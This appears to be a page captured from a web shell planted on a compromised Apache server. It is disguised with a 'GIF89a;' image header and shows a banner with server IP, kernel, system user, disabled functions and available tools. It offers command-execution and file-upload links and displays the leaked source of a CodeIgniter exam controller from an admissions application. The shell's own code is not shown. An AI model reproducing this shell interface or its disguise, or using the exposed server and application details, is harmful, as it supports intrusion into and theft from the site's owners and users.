GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.116.52.43 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../admission/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to exams. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Exam extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/ExamManagement'); $this->load->model('admin/CourseManagement'); } public function getAllExamsByCourseCategory() { $course_id = $_POST['course_id']; $courseInfo = $this->CourseManagement->getCoursesByID($course_id)->result()[0]; if ($courseInfo->course_category == "UG") { $query = $this->ExamManagement->getAllExamsUptoCategory("UG"); } else if ($courseInfo->course_category == "PG") { $query = $this->ExamManagement->getAllExamsUptoCategory("PG"); } else { $query = $this->ExamManagement->getAllExamsUptoCategory(); } $examsList = $query->result(); if (sizeof($examsList)) { $exams = array(); for ($i = 0; $i < sizeof($examsList); $i++) { $thisExam = array( 'exam_id' => $examsList[$i]->exam_id, 'exam_name' => ($examsList[$i]->exam_name == "" || $examsList[$i]->exam_name == NULl) ? "" : $examsList[$i]->exam_name, 'exam_title' => ($examsList[$i]->exam_title == "" || $examsList[$i]->exam_title == NULl) ? "" : $examsList[$i]->exam_title, 'exam_description' => ($examsList[$i]->exam_description == "" || $examsList[$i]->exam_description == NULl) ? "" : $examsList[$i]->exam_description, 'exam_type_flag' => $examsList[$i]->exam_type_flag, ); array_push($exams, $thisExam); } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'exams_found' => 1, 'exam_list' => $exams, 'message' => 'Exams Available!' ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'exams_found' => 0, 'exam_list' => array(), 'message' => 'Sorry! No Exams Available For This Course Category!' ); } echo json_encode($responseData); } }